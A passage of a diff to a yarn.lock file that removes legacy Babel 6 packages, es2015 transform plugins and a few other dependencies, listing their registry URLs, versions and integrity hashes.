"https://registry.npmjs.org/babel-helper-builder-binary-assignment-operator-visitor/-/babel-helper-builder-binary-assignment-operator-visitor-6.24.1.tgz" - integrity sha512-gCtfYORSG1fUMX4kKraymq607FWgMWg+j42IFPc18kFQEsmtaibP4UrqsXt8FlEJle25HUd4tsoDR7H2wDhe9Q== - dependencies: - babel-helper-explode-assignable-expression "^6.24.1" - babel-runtime "^6.22.0" - babel-types "^6.24.1" - -babel-helper-call-delegate@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-helper-call-delegate/-/babel-helper-call-delegate-6.24.1.tgz" - integrity sha512-RL8n2NiEj+kKztlrVJM9JT1cXzzAdvWFh76xh/H1I4nKwunzE4INBXn8ieCZ+wh4zWszZk7NBS1s/8HR5jDkzQ== - dependencies: - babel-helper-hoist-variables "^6.24.1" - babel-runtime "^6.22.0" - babel-traverse "^6.24.1" - babel-types "^6.24.1" - -babel-helper-define-map@^6.24.1: - version "6.26.0" - resolved "https://registry.npmjs.org/babel-helper-define-map/-/babel-helper-define-map-6.26.0.tgz" - integrity sha512-bHkmjcC9lM1kmZcVpA5t2om2nzT/xiZpo6TJq7UlZ3wqKfzia4veeXbIhKvJXAMzhhEBd3cR1IElL5AenWEUpA== - dependencies: - babel-helper-function-name "^6.24.1" - babel-runtime "^6.26.0" - babel-types "^6.26.0" - lodash "^4.17.4" - -babel-helper-explode-assignable-expression@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-helper-explode-assignable-expression/-/babel-helper-explode-assignable-expression-6.24.1.tgz" - integrity sha512-qe5csbhbvq6ccry9G7tkXbzNtcDiH4r51rrPUbwwoTzZ18AqxWYRZT6AOmxrpxKnQBW0pYlBI/8vh73Z//78nQ== - dependencies: - babel-runtime "^6.22.0" - babel-traverse "^6.24.1" - babel-types "^6.24.1" - -babel-helper-function-name@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-helper-function-name/-/babel-helper-function-name-6.24.1.tgz" - integrity sha512-Oo6+e2iX+o9eVvJ9Y5eKL5iryeRdsIkwRYheCuhYdVHsdEQysbc2z2QkqCLIYnNxkT5Ss3ggrHdXiDI7Dhrn4Q== - dependencies: - babel-helper-get-function-arity "^6.24.1" - babel-runtime "^6.22.0" - babel-template "^6.24.1" - babel-traverse "^6.24.1" - babel-types "^6.24.1" - -babel-helper-get-function-arity@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-helper-get-function-arity/-/babel-helper-get-function-arity-6.24.1.tgz" - integrity sha512-WfgKFX6swFB1jS2vo+DwivRN4NB8XUdM3ij0Y1gnC21y1tdBoe6xjVnd7NSI6alv+gZXCtJqvrTeMW3fR/c0ng== - dependencies: - babel-runtime "^6.22.0" - babel-types "^6.24.1" - -babel-helper-hoist-variables@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-helper-hoist-variables/-/babel-helper-hoist-variables-6.24.1.tgz" - integrity sha512-zAYl3tqerLItvG5cKYw7f1SpvIxS9zi7ohyGHaI9cgDUjAT6YcY9jIEH5CstetP5wHIVSceXwNS7Z5BpJg+rOw== - dependencies: - babel-runtime "^6.22.0" - babel-types "^6.24.1" - -babel-helper-optimise-call-expression@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-helper-optimise-call-expression/-/babel-helper-optimise-call-expression-6.24.1.tgz" - integrity sha512-Op9IhEaxhbRT8MDXx2iNuMgciu2V8lDvYCNQbDGjdBNCjaMvyLf4wl4A3b8IgndCyQF8TwfgsQ8T3VD8aX1/pA== - dependencies: - babel-runtime "^6.22.0" - babel-types "^6.24.1" - -babel-helper-regex@^6.24.1: - version "6.26.0" - resolved "https://registry.npmjs.org/babel-helper-regex/-/babel-helper-regex-6.26.0.tgz" - integrity sha512-VlPiWmqmGJp0x0oK27Out1D+71nVVCTSdlbhIVoaBAj2lUgrNjBCRR9+llO4lTSb2O4r7PJg+RobRkhBrf6ofg== - dependencies: - babel-runtime "^6.26.0" - babel-types "^6.26.0" - lodash "^4.17.4" - -babel-helper-remap-async-to-generator@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-helper-remap-async-to-generator/-/babel-helper-remap-async-to-generator-6.24.1.tgz" - integrity sha512-RYqaPD0mQyQIFRu7Ho5wE2yvA/5jxqCIj/Lv4BXNq23mHYu/vxikOy2JueLiBxQknwapwrJeNCesvY0ZcfnlHg== - dependencies: - babel-helper-function-name "^6.24.1" - babel-runtime "^6.22.0" - babel-template "^6.24.1" - babel-traverse "^6.24.1" - babel-types "^6.24.1" - -babel-helper-replace-supers@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-helper-replace-supers/-/babel-helper-replace-supers-6.24.1.tgz" - integrity sha512-sLI+u7sXJh6+ToqDr57Bv973kCepItDhMou0xCP2YPVmR1jkHSCY+p1no8xErbV1Siz5QE8qKT1WIwybSWlqjw== - dependencies: - babel-helper-optimise-call-expression "^6.24.1" - babel-messages "^6.23.0" - babel-runtime "^6.22.0" - babel-template "^6.24.1" - babel-traverse "^6.24.1" - babel-types "^6.24.1" - -babel-helpers@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-helpers/-/babel-helpers-6.24.1.tgz" - integrity sha512-n7pFrqQm44TCYvrCDb0MqabAF+JUBq+ijBvNMUxpkLjJaAu32faIexewMumrH5KLLJ1HDyT0PTEqRyAe/GwwuQ== - dependencies: - babel-runtime "^6.22.0" - babel-template "^6.24.1" - babel-jest@^26.6.0, babel-jest@^26.6.3: version "26.6.3" resolved "https://registry.npmjs.org/babel-jest/-/babel-jest-26.6.3.tgz" @@ -4271,20 +3329,6 @@ babel-loader@8.1.0: pify "^4.0.1" schema-utils "^2.6.5" -babel-messages@^6.23.0: - version "6.23.0" - resolved "https://registry.npmjs.org/babel-messages/-/babel-messages-6.23.0.tgz" - integrity sha512-Bl3ZiA+LjqaMtNYopA9TYE9HP1tQ+E5dLxE0XrAzcIJeK2UqF0/EaqXwBn9esd4UmTfEab+P+UYQ1GnioFIb/w== - dependencies: - babel-runtime "^6.22.0" - -babel-plugin-check-es2015-constants@^6.22.0: - version "6.22.0" - resolved "https://registry.npmjs.org/babel-plugin-check-es2015-constants/-/babel-plugin-check-es2015-constants-6.22.0.tgz" - integrity sha512-B1M5KBP29248dViEo1owyY32lk1ZSH2DaNNrXLGt8lyjjHm7pBqAdQ7VKUPR6EEDO323+OvT3MQXbCin8ooWdA== - dependencies: - babel-runtime "^6.22.0" - babel-plugin-istanbul@^6.0.0: version "6.1.1" resolved "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz" @@ -4355,16 +3399,6 @@ babel-plugin-polyfill-regenerator@^0.4.1: lodash "^4.17.11" picomatch "^2.3.0" -babel-plugin-syntax-async-functions@^6.8.0: - version "6.13.0" - resolved "https://registry.npmjs.org/babel-plugin-syntax-async-functions/-/babel-plugin-syntax-async-functions-6.13.0.tgz" - integrity sha512-4Zp4unmHgw30A1eWI5EpACji2qMocisdXhAftfhXoSV9j0Tvj6nRFE3tOmRY912E0FMRm/L5xWE7MGVT2FoLnw== - -babel-plugin-syntax-exponentiation-operator@^6.8.0: - version "6.13.0" - resolved "https://registry.npmjs.org/babel-plugin-syntax-exponentiation-operator/-/babel-plugin-syntax-exponentiation-operator-6.13.0.tgz" - integrity sha512-Z/flU+T9ta0aIEKl1tGEmN/pZiI1uXmCiGFRegKacQfEJzp7iNsKloZmyJlQr+75FCJtiFfGIK03SiCvCt9cPQ== - babel-plugin-syntax-jsx@^6.18.0: version "6.18.0" resolved "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz" @@ -4375,219 +3409,6 @@ babel-plugin-syntax-object-rest-spread@^6.8.0: resolved "https://registry.npmjs.org/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz" integrity sha512-C4Aq+GaAj83pRQ0EFgTvw5YO6T3Qz2KGrNRwIj9mSoNHVvdZY4KO2uA6HNtNXCw993iSZnckY1aLW8nOi8i4+w== -babel-plugin-syntax-trailing-function-commas@^6.22.0: - version "6.22.0" - resolved "https://registry.npmjs.org/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz" - integrity sha512-Gx9CH3Q/3GKbhs07Bszw5fPTlU+ygrOGfAhEt7W2JICwufpC4SuO0mG0+4NykPBSYPMJhqvVlDBU17qB1D+hMQ== - -babel-plugin-transform-async-to-generator@^6.22.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-async-to-generator/-/babel-plugin-transform-async-to-generator-6.24.1.tgz" - integrity sha512-7BgYJujNCg0Ti3x0c/DL3tStvnKS6ktIYOmo9wginv/dfZOrbSZ+qG4IRRHMBOzZ5Awb1skTiAsQXg/+IWkZYw== - dependencies: - babel-helper-remap-async-to-generator "^6.24.1" - babel-plugin-syntax-async-functions "^6.8.0" - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-arrow-functions@^6.22.0: - version "6.22.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-arrow-functions/-/babel-plugin-transform-es2015-arrow-functions-6.22.0.tgz" - integrity sha512-PCqwwzODXW7JMrzu+yZIaYbPQSKjDTAsNNlK2l5Gg9g4rz2VzLnZsStvp/3c46GfXpwkyufb3NCyG9+50FF1Vg== - dependencies: - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-block-scoped-functions@^6.22.0: - version "6.22.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoped-functions/-/babel-plugin-transform-es2015-block-scoped-functions-6.22.0.tgz" - integrity sha512-2+ujAT2UMBzYFm7tidUsYh+ZoIutxJ3pN9IYrF1/H6dCKtECfhmB8UkHVpyxDwkj0CYbQG35ykoz925TUnBc3A== - dependencies: - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-block-scoping@^6.23.0: - version "6.26.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoping/-/babel-plugin-transform-es2015-block-scoping-6.26.0.tgz" - integrity sha512-YiN6sFAQ5lML8JjCmr7uerS5Yc/EMbgg9G8ZNmk2E3nYX4ckHR01wrkeeMijEf5WHNK5TW0Sl0Uu3pv3EdOJWw== - dependencies: - babel-runtime "^6.26.0" - babel-template "^6.26.0" - babel-traverse "^6.26.0" - babel-types "^6.26.0" - lodash "^4.17.4" - -babel-plugin-transform-es2015-classes@^6.23.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-classes/-/babel-plugin-transform-es2015-classes-6.24.1.tgz" - integrity sha512-5Dy7ZbRinGrNtmWpquZKZ3EGY8sDgIVB4CU8Om8q8tnMLrD/m94cKglVcHps0BCTdZ0TJeeAWOq2TK9MIY6cag== - dependencies: - babel-helper-define-map "^6.24.1" - babel-helper-function-name "^6.24.1" - babel-helper-optimise-call-expression "^6.24.1" - babel-helper-replace-supers "^6.24.1" - babel-messages "^6.23.0" - babel-runtime "^6.22.0" - babel-template "^6.24.1" - babel-traverse "^6.24.1" - babel-types "^6.24.1" - -babel-plugin-transform-es2015-computed-properties@^6.22.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-computed-properties/-/babel-plugin-transform-es2015-computed-properties-6.24.1.tgz" - integrity sha512-C/uAv4ktFP/Hmh01gMTvYvICrKze0XVX9f2PdIXuriCSvUmV9j+u+BB9f5fJK3+878yMK6dkdcq+Ymr9mrcLzw== - dependencies: - babel-runtime "^6.22.0" - babel-template "^6.24.1" - -babel-plugin-transform-es2015-destructuring@^6.23.0: - version "6.23.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-destructuring/-/babel-plugin-transform-es2015-destructuring-6.23.0.tgz" - integrity sha512-aNv/GDAW0j/f4Uy1OEPZn1mqD+Nfy9viFGBfQ5bZyT35YqOiqx7/tXdyfZkJ1sC21NyEsBdfDY6PYmLHF4r5iA== - dependencies: - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-duplicate-keys@^6.22.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-duplicate-keys/-/babel-plugin-transform-es2015-duplicate-keys-6.24.1.tgz" - integrity sha512-ossocTuPOssfxO2h+Z3/Ea1Vo1wWx31Uqy9vIiJusOP4TbF7tPs9U0sJ9pX9OJPf4lXRGj5+6Gkl/HHKiAP5ug== - dependencies: - babel-runtime "^6.22.0" - babel-types "^6.24.1" - -babel-plugin-transform-es2015-for-of@^6.23.0: - version "6.23.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-for-of/-/babel-plugin-transform-es2015-for-of-6.23.0.tgz" - integrity sha512-DLuRwoygCoXx+YfxHLkVx5/NpeSbVwfoTeBykpJK7JhYWlL/O8hgAK/reforUnZDlxasOrVPPJVI/guE3dCwkw== - dependencies: - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-function-name@^6.22.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-function-name/-/babel-plugin-transform-es2015-function-name-6.24.1.tgz" - integrity sha512-iFp5KIcorf11iBqu/y/a7DK3MN5di3pNCzto61FqCNnUX4qeBwcV1SLqe10oXNnCaxBUImX3SckX2/o1nsrTcg== - dependencies: - babel-helper-function-name "^6.24.1" - babel-runtime "^6.22.0" - babel-types "^6.24.1" - -babel-plugin-transform-es2015-literals@^6.22.0: - version "6.22.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-literals/-/babel-plugin-transform-es2015-literals-6.22.0.tgz" - integrity sha512-tjFl0cwMPpDYyoqYA9li1/7mGFit39XiNX5DKC/uCNjBctMxyL1/PT/l4rSlbvBG1pOKI88STRdUsWXB3/Q9hQ== - dependencies: - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-modules-amd@^6.22.0, babel-plugin-transform-es2015-modules-amd@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-amd/-/babel-plugin-transform-es2015-modules-amd-6.24.1.tgz" - integrity sha512-LnIIdGWIKdw7zwckqx+eGjcS8/cl8D74A3BpJbGjKTFFNJSMrjN4bIh22HY1AlkUbeLG6X6OZj56BDvWD+OeFA== - dependencies: - babel-plugin-transform-es2015-modules-commonjs "^6.24.1" - babel-runtime "^6.22.0" - babel-template "^6.24.1" - -babel-plugin-transform-es2015-modules-commonjs@^6.23.0, babel-plugin-transform-es2015-modules-commonjs@^6.24.1: - version "6.26.2" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-commonjs/-/babel-plugin-transform-es2015-modules-commonjs-6.26.2.tgz" - integrity sha512-CV9ROOHEdrjcwhIaJNBGMBCodN+1cfkwtM1SbUHmvyy35KGT7fohbpOxkE2uLz1o6odKK2Ck/tz47z+VqQfi9Q== - dependencies: - babel-plugin-transform-strict-mode "^6.24.1" - babel-runtime "^6.26.0" - babel-template "^6.26.0" - babel-types "^6.26.0" - -babel-plugin-transform-es2015-modules-systemjs@^6.23.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-systemjs/-/babel-plugin-transform-es2015-modules-systemjs-6.24.1.tgz" - integrity sha512-ONFIPsq8y4bls5PPsAWYXH/21Hqv64TBxdje0FvU3MhIV6QM2j5YS7KvAzg/nTIVLot2D2fmFQrFWCbgHlFEjg== - dependencies: - babel-helper-hoist-variables "^6.24.1" - babel-runtime "^6.22.0" - babel-template "^6.24.1" - -babel-plugin-transform-es2015-modules-umd@^6.23.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-umd/-/babel-plugin-transform-es2015-modules-umd-6.24.1.tgz" - integrity sha512-LpVbiT9CLsuAIp3IG0tfbVo81QIhn6pE8xBJ7XSeCtFlMltuar5VuBV6y6Q45tpui9QWcy5i0vLQfCfrnF7Kiw== - dependencies: - babel-plugin-transform-es2015-modules-amd "^6.24.1" - babel-runtime "^6.22.0" - babel-template "^6.24.1" - -babel-plugin-transform-es2015-object-super@^6.22.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-object-super/-/babel-plugin-transform-es2015-object-super-6.24.1.tgz" - integrity sha512-8G5hpZMecb53vpD3mjs64NhI1au24TAmokQ4B+TBFBjN9cVoGoOvotdrMMRmHvVZUEvqGUPWL514woru1ChZMA== - dependencies: - babel-helper-replace-supers "^6.24.1" - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-parameters@^6.23.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-parameters/-/babel-plugin-transform-es2015-parameters-6.24.1.tgz" - integrity sha512-8HxlW+BB5HqniD+nLkQ4xSAVq3bR/pcYW9IigY+2y0dI+Y7INFeTbfAQr+63T3E4UDsZGjyb+l9txUnABWxlOQ== - dependencies: - babel-helper-call-delegate "^6.24.1" - babel-helper-get-function-arity "^6.24.1" - babel-runtime "^6.22.0" - babel-template "^6.24.1" - babel-traverse "^6.24.1" - babel-types "^6.24.1" - -babel-plugin-transform-es2015-shorthand-properties@^6.22.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-shorthand-properties/-/babel-plugin-transform-es2015-shorthand-properties-6.24.1.tgz" - integrity sha512-mDdocSfUVm1/7Jw/FIRNw9vPrBQNePy6wZJlR8HAUBLybNp1w/6lr6zZ2pjMShee65t/ybR5pT8ulkLzD1xwiw== - dependencies: - babel-runtime "^6.22.0" - babel-types "^6.24.1" - -babel-plugin-transform-es2015-spread@^6.22.0: - version "6.22.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-spread/-/babel-plugin-transform-es2015-spread-6.22.0.tgz" - integrity sha512-3Ghhi26r4l3d0Js933E5+IhHwk0A1yiutj9gwvzmFbVV0sPMYk2lekhOufHBswX7NCoSeF4Xrl3sCIuSIa+zOg== - dependencies: - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-sticky-regex@^6.22.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-sticky-regex/-/babel-plugin-transform-es2015-sticky-regex-6.24.1.tgz" - integrity sha512-CYP359ADryTo3pCsH0oxRo/0yn6UsEZLqYohHmvLQdfS9xkf+MbCzE3/Kolw9OYIY4ZMilH25z/5CbQbwDD+lQ== - dependencies: - babel-helper-regex "^6.24.1" - babel-runtime "^6.22.0" - babel-types "^6.24.1" - -babel-plugin-transform-es2015-template-literals@^6.22.0: - version "6.22.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-template-literals/-/babel-plugin-transform-es2015-template-literals-6.22.0.tgz" - integrity sha512-x8b9W0ngnKzDMHimVtTfn5ryimars1ByTqsfBDwAqLibmuuQY6pgBQi5z1ErIsUOWBdw1bW9FSz5RZUojM4apg== - dependencies: - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-typeof-symbol@^6.23.0: - version "6.23.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-typeof-symbol/-/babel-plugin-transform-es2015-typeof-symbol-6.23.0.tgz" - integrity sha512-fz6J2Sf4gYN6gWgRZaoFXmq93X+Li/8vf+fb0sGDVtdeWvxC9y5/bTD7bvfWMEq6zetGEHpWjtzRGSugt5kNqw== - dependencies: - babel-runtime "^6.22.0" - -babel-plugin-transform-es2015-unicode-regex@^6.22.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-es2015-unicode-regex/-/babel-plugin-transform-es2015-unicode-regex-6.24.1.tgz" - integrity sha512-v61Dbbihf5XxnYjtBN04B/JBvsScY37R1cZT5r9permN1cp+b70DY3Ib3fIkgn1DI9U3tGgBJZVD8p/mE/4JbQ== - dependencies: - babel-helper-regex "^6.24.1" - babel-runtime "^6.22.0" - regexpu-core "^2.0.0" - -babel-plugin-transform-exponentiation-operator@^6.22.0: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-exponentiation-operator/-/babel-plugin-transform-exponentiation-operator-6.24.1.tgz" - integrity sha512-LzXDmbMkklvNhprr20//RStKVcT8Cu+SQtX18eMHLhjHf2yFzwtQ0S2f0jQ+89rokoNdmwoSqYzAhq86FxlLSQ== - dependencies: - babel-helper-builder-binary-assignment-operator-visitor "^6.24.1" - babel-plugin-syntax-exponentiation-operator "^6.8.0" - babel-runtime "^6.22.0" - babel-plugin-transform-object-rest-spread@^6.26.0: version "6.26.0" resolved "https://registry.npmjs.org/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz" @@ -4601,21 +3422,6 @@ babel-plugin-transform-react-remove-prop-types@^0.4.24: resolved "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz" integrity sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA== -babel-plugin-transform-regenerator@^6.22.0: - version "6.26.0" - resolved "https://registry.npmjs.org/babel-plugin-transform-regenerator/-/babel-plugin-transform-regenerator-6.26.0.tgz" - integrity sha512-LS+dBkUGlNR15/5WHKe/8Neawx663qttS6AGqoOUhICc9d1KciBvtrQSuc0PI+CxQ2Q/S1aKuJ+u64GtLdcEZg== - dependencies: - regenerator-transform "^0.10.0" - -babel-plugin-transform-strict-mode@^6.24.1: - version "6.24.1" - resolved "https://registry.npmjs.org/babel-plugin-transform-strict-mode/-/babel-plugin-transform-strict-mode-6.24.1.tgz" - integrity sha512-j3KtSpjyLSJxNoCDrhwiJad8kw0gJ9REGj8/CqL0HeRyLnvUNYV9zcqluL6QJSXh3nfsLEmSLvwRfGzrgR96Pw== - dependencies: - babel-runtime "^6.22.0" - babel-types "^6.24.1" - babel-preset-current-node-syntax@^1.0.0: version "1.0.1" resolved "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz" @@ -4634,42 +3440,6 @@ babel-preset-current-node-syntax@^1.0.0: "@babel/plugin-syntax-optional-chaining" "^7.8.3" "@babel/plugin-syntax-top-level-await" "^7.8.3" -babel-preset-env@^1.7.0: - version "1.7.0" - resolved "https://registry.npmjs.org/babel-preset-env/-/babel-preset-env-1.7.0.tgz" - integrity sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg== - dependencies: - babel-plugin-check-es2015-constants "^6.22.0" - babel-plugin-syntax-trailing-function-commas "^6.22.0" - babel-plugin-transform-async-to-generator "^6.22.0" - babel-plugin-transform-es2015-arrow-functions "^6.22.0" - babel-plugin-transform-es2015-block-scoped-functions "^6.22.0" - babel-plugin-transform-es2015-block-scoping "^6.23.0" - babel-plugin-transform-es2015-classes "^6.23.0" - babel-plugin-transform-es2015-computed-properties "^6.22.0" - babel-plugin-transform-es2015-destructuring "^6.23.0" - babel-plugin-transform-es2015-duplicate-keys "^6.22.0" - babel-plugin-transform-es2015-for-of "^6.23.0" - babel-plugin-transform-es2015-function-name "^6.22.0" - babel-plugin-transform-es2015-literals "^6.22.0" - babel-plugin-transform-es2015-modules-amd "^6.22.0" - babel-plugin-transform-es2015-modules-commonjs "^6.23.0" - babel-plugin-transform-es2015-modules-systemjs "^6.23.0" - babel-plugin-transform-es2015-modules-umd "^6.23.0" - babel-plugin-transform-es2015-object-super "^6.22.0" - babel-plugin-transform-es2015-parameters "^6.23.0" - babel-plugin-transform-es2015-shorthand-properties "^6.22.0" - babel-plugin-transform-es2015-spread "^6.22.0" - babel-plugin-transform-es2015-sticky-regex "^6.22.0" - babel-plugin-transform-es2015-template-literals "^6.22.0" - babel-plugin-transform-es2015-typeof-symbol "^6.23.0" - babel-plugin-transform-es2015-unicode-regex "^6.22.0" - babel-plugin-transform-exponentiation-operator "^6.22.0" - babel-plugin-transform-regenerator "^6.22.0" - browserslist "^3.2.6" - invariant "^2.2.2" - semver "^5.3.0" - babel-preset-jest@^26.6.2: version "26.6.2" resolved "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-26.6.2.tgz" @@ -4700,20 +3470,7 @@ babel-preset-react-app@^10.0.0: babel-plugin-macros "^3.1.0" babel-plugin-transform-react-remove-prop-types "^0.4.24" -babel-register@^6.26.0: - version "6.26.0" - resolved "https://registry.npmjs.org/babel-register/-/babel-register-6.26.0.tgz" - integrity sha512-veliHlHX06wjaeY8xNITbveXSiI+ASFnOqvne/LaIJIqOWi2Ogmj91KOugEz/hoh/fwMhXNBJPCv8Xaz5CyM4A== - dependencies: - babel-core "^6.26.0" - babel-runtime "^6.26.0" - core-js "^2.5.0" - home-or-tmp "^2.0.0" - lodash "^4.17.4" - mkdirp "^0.5.1" - source-map-support "^0.4.15" - -babel-runtime@^6.18.0, babel-runtime@^6.22.0, babel-runtime@^6.26.0: +babel-runtime@^6.26.0: version "6.26.0" resolved "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz" integrity sha512-ITKNuq2wKlW1fJg9sSW52eepoYgZBggvOAHC0u/CYu/qxQ9EVzThCgR69BnSXLHjy2f7SY5zaQ4yt7H9ZVxY2g== @@ -4721,62 +3478,11 @@ babel-runtime@^6.18.0, babel-runtime@^6.22.0, babel-runtime@^6.26.0: core-js "^2.4.0" regenerator-runtime "^0.11.0" -babel-template@^6.24.1, babel-template@^6.26.0: - version "6.26.0" - resolved "https://registry.npmjs.org/babel-template/-/babel-template-6.26.0.tgz" - integrity sha512-PCOcLFW7/eazGUKIoqH97sO9A2UYMahsn/yRQ7uOk37iutwjq7ODtcTNF+iFDSHNfkctqsLRjLP7URnOx0T1fg== - dependencies: - babel-runtime "^6.26.0" - babel-traverse "^6.26.0" - babel-types "^6.26.0" - babylon "^6.18.0" - lodash "^4.17.4" - -babel-traverse@^6.24.1, babel-traverse@^6.26.0: - version "6.26.0" - resolved "https://registry.npmjs.org/babel-traverse/-/babel-traverse-6.26.0.tgz" - integrity sha512-iSxeXx7apsjCHe9c7n8VtRXGzI2Bk1rBSOJgCCjfyXb6v1aCqE1KSEpq/8SXuVN8Ka/Rh1WDTF0MDzkvTA4MIA== - dependencies: - babel-code-frame "^6.26.0" - babel-messages "^6.23.0" - babel-runtime "^6.26.0" - babel-types "^6.26.0" - babylon "^6.18.0" - debug "^2.6.8" - globals "^9.18.0" - invariant "^2.2.2" - lodash "^4.17.4" - -babel-types@^6.19.0, babel-types@^6.24.1, babel-types@^6.26.0: - version "6.26.0" - resolved "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz" - integrity sha512-zhe3V/26rCWsEZK8kZN+HaQj5yQ1CilTObixFzKW1UWjqG7618Twz6YEsCnjfg5gBcJh02DrpCkS9h98ZqDY+g== - dependencies: - babel-runtime "^6.26.0" - esutils "^2.0.2" - lodash "^4.17.4" - to-fast-properties "^1.0.3" - -babelify@^7.3.0: - version "7.3.0" - resolved "https://registry.npmjs.org/babelify/-/babelify-7.3.0.tgz" - integrity sha512-vID8Fz6pPN5pJMdlUnNFSfrlcx5MUule4k9aKs/zbZPyXxMTcRrB0M4Tarw22L8afr8eYSWxDPYCob3TdrqtlA== - dependencies: - babel-core "^6.0.14" - object-assign "^4.0.0" - babylon@^6.18.0: version "6.18.0" resolved "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz" integrity sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ== -backoff@^2.5.0: - version "2.5.0" - resolved "https://registry.npmjs.org/backoff/-/backoff-2.5.0.tgz" - integrity sha512-wC5ihrnUXmR2douXmXLCe5O3zg3GKIyvRi/hi58a/XyRxVI+3/yM0PYueQOZXPXQ9pxBislYkw+sF9b7C/RuMA== - dependencies: - precond "0.2" - bad-words@^3.0.4: version "3.0.4" resolved "https://registry.yarnpkg.com/bad-words/-/bad-words-3.0.4.tgz#044c83935c4c363a905d47b5e0179f7241fecaec" @@ -4866,23 +3572,6 @@ big.js@^6.0.3: resolved "https://registry.npmjs.org/big.js/-/big.js-6.2.1.tgz" integrity sha512-bCtHMwL9LeDIozFn+oNhhFoq+yQ3BNdnsLSASUxLciOb1vgvpHsIO1dsENiGMgbb4SkP5TrzWzRiLddn8ahVOQ== -bigint-crypto-utils@^3.0.23: - version "3.1.7" - resolved "https://registry.npmjs.org/bigint-crypto-utils/-/bigint-crypto-utils-3.1.7.tgz" - integrity sha512-zpCQpIE2Oy5WIQpjC9iYZf8Uh9QqoS51ZCooAcNvzv1AQ3VWdT52D0ksr1+/faeK8HVIej1bxXcP75YcqH3KPA== - dependencies: - bigint-mod-arith "^3.1.0" - -bigint-mod-arith@^3.1.0: - version "3.1.2" - resolved "https://registry.npmjs.org/bigint-mod-arith/-/bigint-mod-arith-3.1.2.tgz" - integrity sha512-nx8J8bBeiRR+NlsROFH9jHswW5HO8mgfOSqW0AmjicMMvaONDa8AO+5ViKDUUNytBPWiwfvZP4/Bj4Y3lUfvgQ== - -bignumber.js@*: - version "9.1.1" - resolved "https://registry.yarnpkg.com/bignumber.js/-/bignumber.js-9.1.1.tgz#c4df7dc496bd849d4c9464344c1aa74228b4dac6" - integrity sha512-pHm4LsMJ6lzgNGVfZHjMoO8sdoRhOzOH4MLmY65Jg70bpxCKu5iOHNJyfF6OyvYw7t8Fpf35RuzUyqnQsj8Vig== - bignumber.js@^7.2.1: version "7.2.1" resolved "https://registry.npmjs.org/bignumber.js/-/bignumber.js-7.2.1.tgz" @@ -4910,23 +3599,12 @@ bindings@^1.5.0: dependencies: file-uri-to-path "1.0.0" 